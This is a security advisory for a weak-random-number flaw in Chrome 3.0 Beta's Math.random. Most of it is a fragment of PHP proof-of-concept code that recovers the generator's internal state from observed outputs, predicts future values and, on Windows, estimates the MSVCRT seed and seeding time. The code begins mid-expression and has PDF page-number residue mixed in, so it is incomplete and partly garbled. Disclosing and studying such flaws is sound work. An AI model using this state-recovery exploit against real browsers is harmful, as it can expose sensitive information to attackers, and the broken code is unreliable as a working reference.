source: https://www.securityfocus.com/bid/36185/info Google Chrome is prone to security vulnerability that may allow the application to generate weak random numbers. Successfully exploiting this issue may allow attackers to obtain sensitive information or gain unauthorized access. Chrome 3.0 Beta is vulnerable; other versions may also be affected. > 16)|(($unk & 3)<<14); $hi2low=($v2 >> 16)|(($unk>>2)<<14); $hi1high=bcmod(bcsub(bcadd($two_32,$hi2low),bcmul(36969,$hi1low)),65536); if ($hi1high>=36969) { continue; } $hi1=bcadd(bcmul($hi1high,65536),$hi1low)+0; $hi2=bcadd(bcmul(36969,($hi1 & 0xFFFF)),bcdiv($hi1,65536,0))+0; $hi3=bcadd(bcmul(36969,($hi2 & 0xFFFF)),bcdiv($hi2,65536,0))+0; $hi4=bcadd(bcmul(36969,($hi3 & 0xFFFF)),bcdiv($hi3,65536,0))+0; if (($v1 == ((($hi1<<16)|($lo1 & 0xFFFF))&0x3FFFFFFF)) and ($v2 == ((($hi2<<16)|($lo2 & 0xFFFF))&0x3FFFFFFF)) and Google Chrome v3.0 (Beta) Math.random vulnerability 10 ($v3 == ((($hi3<<16)|($lo3 & 0xFFFF))&0x3FFFFFFF)) and ($v4 == ((($hi4<<16)|($lo4 & 0xFFFF))&0x3FFFFFFF))) { $found_state=true; break; } } if (!$found_state) { echo "ERROR: cannot find PRNG state (is this really Chrome 3.0?)
\n"; exit; } echo "Math.random PRNG current state: hi=$hi4 lo=$lo4
\n"; $lo5=bcadd(bcmul(18273,bcmod($lo4,65536)),bcdiv($lo4,65536,0)); $hi5=bcadd(bcmul(36969,($hi4 & 0xFFFF)),bcdiv($hi4,65536,0))+0; $v5=(($hi5<<16)|($lo5 & 0xFFFF))&0x3FFFFFFF; echo "Math.random next value:
\n"; echo "
\n"; echo "NOTE: Anything below this line is available only for Windows.
\n"; echo "
\n"; # Rollback $lo=$lo1; $hi=$hi1; $found_initial_state=false; for ($mileage=0;$mileage\n"; echo "Math.random PRNG mileage: $mileage [Math.random() invocations]
\n"; $found_initial_state=true; break; } } if ($found_initial_state) { echo "
"; $first=$hi+0; $second=$lo+0; $cand=array(); for ($v=0;$v<(1<<16);$v++) { $state=($first<<16)|$v; $state=adv($state); if ((($state>>16)&0x7FFF)==$second) { $state=prev_state(($first<<16)|$v); $seed_time=bcadd(bcmul(bcdiv(bcmul($t,1000),$two_31,0),$two_31),$state); if (bccomp($seed_time,bcmul($t,1000))==1) { $seed_time=bcsub($seed_time,$two_31); } $cand[$seed_time]=$state; } } Google Chrome v3.0 (Beta) Math.random vulnerability 11 # reverse sort by seed_time key (string comparison - but since 2002, second-since-Epoch are 10 digits exactly, so string comparison=numeric comparison) krsort($cand); echo count($cand)." candidate(s) for MSVCRT seed and seeding time, from most likely to least likely:
\n"; echo "\n"; echo "\n"; echo "\n"; echo " \n"; echo " "; echo " \n"; echo "\n"; $cn=0; foreach ($cand as $seed_time => $st) { if ($cn==0) { $pre=""; $post=""; } else { $pre=""; $post=""; } echo "\n"; echo " \n"; echo " \n"; echo " \n"; echo "\n"; $cn++; } echo "
MSVCRT PRNG Seeding time [sec] MSVCRT PRNG Seeding time [UTC date] MSVCRT PRNG seed
".$pre.substr_replace($seed_time,".",- 3,0).$post."".$pre.gmdate("r",bcdiv($seed_time,1000)).$post."".$pre.$st.$post."
\n"; echo "
\n"; echo "
\n"; } else { echo "ERROR: Cannot find Math.random initial state (non-Windows platform?)
\n"; } } ?>